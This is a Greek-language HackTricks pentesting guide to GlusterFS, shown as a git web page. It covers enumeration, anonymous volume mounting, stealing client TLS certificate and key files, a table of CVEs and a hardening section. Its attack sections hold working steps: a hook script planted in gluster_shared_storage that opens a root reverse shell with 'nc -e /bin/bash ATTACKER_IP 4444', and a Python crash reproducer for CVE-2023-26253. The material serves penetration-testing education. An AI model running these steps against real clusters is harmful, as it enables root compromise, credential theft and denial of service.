hacktricks/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md

116 lines
6.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 24007-24008-24009-49152 - Pentesting GlusterFS
{{#include ../banners/hacktricks-training.md}}
## Basic Information
**GlusterFS** είναι ένα **κατανεμημένο σύστημα αρχείων** που συνδυάζει αποθήκευση από πολλούς διακομιστές σε ένα **ενιαίο όνομα χώρου**. Η διαχείριση δαίμονας (`glusterd`) ακούει από προεπιλογή σε **24007/TCP** και δίνει οδηγίες σε bricks του data-plane που ξεκινούν από **49152/TCP** (μία θύρα ανά brick, με αύξηση). Οι εκδόσεις πριν από την 9.x χρησιμοποιούσαν **2400824009/TCP** για τη μεταφορά bricks, οπότε θα συναντήσετε αυτές τις θύρες σε κληρονομημένα clusters.
```
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
```
> Συμβουλή: 24007 απαντά σε κλήσεις RPC ακόμη και όταν οι κόμβοι μόνο αποθήκευσης **δεν** εξάγουν κανένα όγκο; επομένως, η υπηρεσία είναι ένας αξιόπιστος στόχος pivot μέσα σε μεγάλες υποδομές.
## Αρίθμηση
Εγκαταστήστε τα εργαλεία πελάτη στο επιτιθέμενο σύστημα σας:
```bash
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
```
1. **Ανακάλυψη ομότιμων & υγεία**
```bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
```
2. **Αναγνώριση όγκου**
```bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
```
3. **Μόνταρε χωρίς προνόμια**
```bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
```
Αν η τοποθέτηση αποτύχει, ελέγξτε το `/var/log/glusterfs/<vol_name>-<uid>.log` στην πλευρά του πελάτη. Συχνά προβλήματα είναι:
* Επιβολή TLS (`option transport.socket.ssl on`)
* Έλεγχος πρόσβασης με βάση τη διεύθυνση (`option auth.allow <cidr>`)
### Αντιμετώπιση προβλημάτων πιστοποιητικού
Κλέψτε τα παρακάτω αρχεία από οποιονδήποτε εξουσιοδοτημένο κόμβο πελάτη και τοποθετήστε τα στο `/etc/ssl/` (ή στον κατάλογο που εμφανίζεται στο αρχείο καταγραφής σφαλμάτων):
```
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
```
---
## Γνωστές Ευπάθειες (2022-2025)
| CVE | Επηρεαζόμενες εκδόσεις | Επιπτώσεις | Σημειώσεις |
|-----|-------------------|--------|-------|
| **CVE-2022-48340** | 10.010.4, 11.0 | Χρήση μετά από απελευθέρωση στη `dht_setxattr_mds_cbk` προσβάσιμη μέσω του δικτύου | Απομακρυσμένο **DoS** και πιθανή RCE. Διορθώθηκε στην 10.4.1 / 11.1. |
| **CVE-2023-26253** | < 11.0 | Ανάγνωση εκτός ορίων στον χειριστή ειδοποιήσεων FUSE | Απομακρυσμένη κατάρρευση μέσω κατασκευασμένων λειτουργιών FS; δημόσιο PoC διαθέσιμο. |
| **CVE-2023-3775** | < 10.5 / 11.1 | Λανθασμένη επικύρωση δικαιωμάτων κατά την τοποθέτηση του `gluster_shared_storage` | Επιτρέπει σε οποιονδήποτε μη αυθεντικοποιημένο πελάτη να τοποθετήσει τον όγκο διαχειριστή οδηγεί σε **priv-esc** που εξηγείται παρακάτω. |
> Ελέγχετε πάντα το `gluster --version` **σε κάθε κόμβο**; ετερογενείς κλάστερ είναι συνηθισμένοι μετά από μερικές αναβαθμίσεις.
### Εκμετάλλευση του `gluster_shared_storage` (Αύξηση Δικαιωμάτων)
Ακόμα και σε πρόσφατες εκδόσεις, πολλοί διαχειριστές αφήνουν τον ειδικό όγκο `gluster_shared_storage` αναγνώσιμο από όλους επειδή απλοποιεί τη γεω-αναπαραγωγή. Ο όγκος περιέχει πρότυπα cronjob που εκτελούνται με **root** σε κάθε κόμβο.
```bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
```
Αν το `hooks/1/` δεν είναι παρόν, αναζητήστε το `/ss_bricks/` η ακριβής διαδρομή μπορεί να διαφέρει με την κύρια έκδοση.
### Denial-of-Service PoC (CVE-2023-26253)
```python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
```
Η εκτέλεση του script προκαλεί κατάρρευση του `glusterfsd` < 11.0.
---
## Σκληροποίηση & Ανίχνευση
* **Αναβάθμιση** η τρέχουσα LTS είναι 11.1 (Ιούλιος 2025). Όλες οι CVEs παραπάνω έχουν διορθωθεί.
* Ενεργοποιήστε το **TLS** για κάθε brick:
```bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
```
* Περιορίστε τους πελάτες με λίστες CIDR:
```bash
gluster volume set <vol> auth.allow 10.0.0.0/24
```
* Εκθέστε την θύρα διαχείρισης 24007 μόνο σε **ιδιωτικό VLAN** ή μέσω SSH tunnels.
* Παρακολουθήστε τα logs: `tail -f /var/log/glusterfs/glusterd.log` και ρυθμίστε τη δυνατότητα **audit-log** (`volume set <vol> features.audit-log on`).
---
## Αναφορές
* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security)
* [CVE-2023-26253 PoC github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
{{#include ../banners/hacktricks-training.md}}